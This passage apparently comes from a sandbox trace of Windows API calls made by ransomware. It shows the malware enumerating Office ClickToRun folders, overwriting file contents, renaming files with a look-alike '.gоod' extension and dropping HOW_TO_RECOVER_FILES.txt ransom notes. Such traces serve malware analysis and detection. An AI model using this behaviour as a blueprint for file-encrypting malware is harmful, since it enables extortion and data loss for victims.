nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x32d6c50*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0074.701] CloseHandle (hObject=0x768) returned 1 [0074.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0074.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0074.703] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0074.703] GetFileType (hFile=0x768) returned 0x1 [0074.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0074.703] GetFileType (hFile=0x768) returned 0x1 [0074.703] ReadFile (in: hFile=0x768, lpBuffer=0x32d9018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x32d9018*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0075.280] CloseHandle (hObject=0x768) returned 1 [0075.281] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0075.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.281] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.281] GetFileType (hFile=0x768) returned 0x1 [0075.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.281] GetFileType (hFile=0x768) returned 0x1 [0075.281] WriteFile (in: hFile=0x768, lpBuffer=0x31ed178*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x31ed178*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0075.281] CloseHandle (hObject=0x768) returned 1 [0075.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0075.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.gоod", lpFilePart=0x0) returned 0x71 [0075.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0075.282] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2916396b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x565f)) returned 1 [0075.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0075.282] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.gоod")) returned 1 [0075.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0075.283] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x32f1828 | out: lpFileInformation=0x32f1828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4)) returned 1 [0075.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0075.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.284] GetFileType (hFile=0x768) returned 0x1 [0075.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.284] GetFileType (hFile=0x768) returned 0x1 [0075.284] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0075.284] ReadFile (in: hFile=0x768, lpBuffer=0x32f1d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x32f1d00*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0075.286] CloseHandle (hObject=0x768) returned 1 [0075.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.286] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.286] GetFileType (hFile=0x768) returned 0x1 [0075.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.286] GetFileType (hFile=0x768) returned 0x1 [0075.286] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0xd77c4 [0075.286] WriteFile (in: hFile=0x768, lpBuffer=0x32f3068*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x32f3068*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0075.288] CloseHandle (hObject=0x768) returned 1 [0075.626] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.626] GetFileType (hFile=0x768) returned 0x1 [0075.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.637] GetFileType (hFile=0x768) returned 0x1 [0075.637] ReadFile (in: hFile=0x768, lpBuffer=0x34b9c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x34b9c60*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0075.648] CloseHandle (hObject=0x768) returned 1 [0075.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.649] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.649] GetFileType (hFile=0x768) returned 0x1 [0075.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.649] GetFileType (hFile=0x768) returned 0x1 [0075.649] WriteFile (in: hFile=0x768, lpBuffer=0x34b5708*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x34b5708*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0075.649] CloseHandle (hObject=0x768) returned 1 [0075.665] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0075.665] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.gоod", lpFilePart=0x0) returned 0x6f [0075.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0075.665] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x294f741d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd77d4)) returned 1 [0075.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0075.666] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.gоod")) returned 1 [0075.666] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0075.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0075.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0075.667] GetFileType (hFile=0x768) returned 0x1 [0075.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0075.667] GetFileType (hFile=0x768) returned 0x1 [0075.668] WriteFile (in: hFile=0x768, lpBuffer=0x35385e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x35385e8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0075.698] CloseHandle (hObject=0x768) returned 1 [0075.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0075.701] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpFilePart=0x0) returned 0x52 [0075.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0075.702] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.702] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0075.702] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0075.702] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0075.702] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.703] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0075.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0075.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0075.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0075.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpFilePart=0x0) returned 0x52 [0075.703] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0075.704] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.704] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0075.705] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0075.705] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0075.705] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0075.705] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0075.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0075.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0075.706] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0075.706] 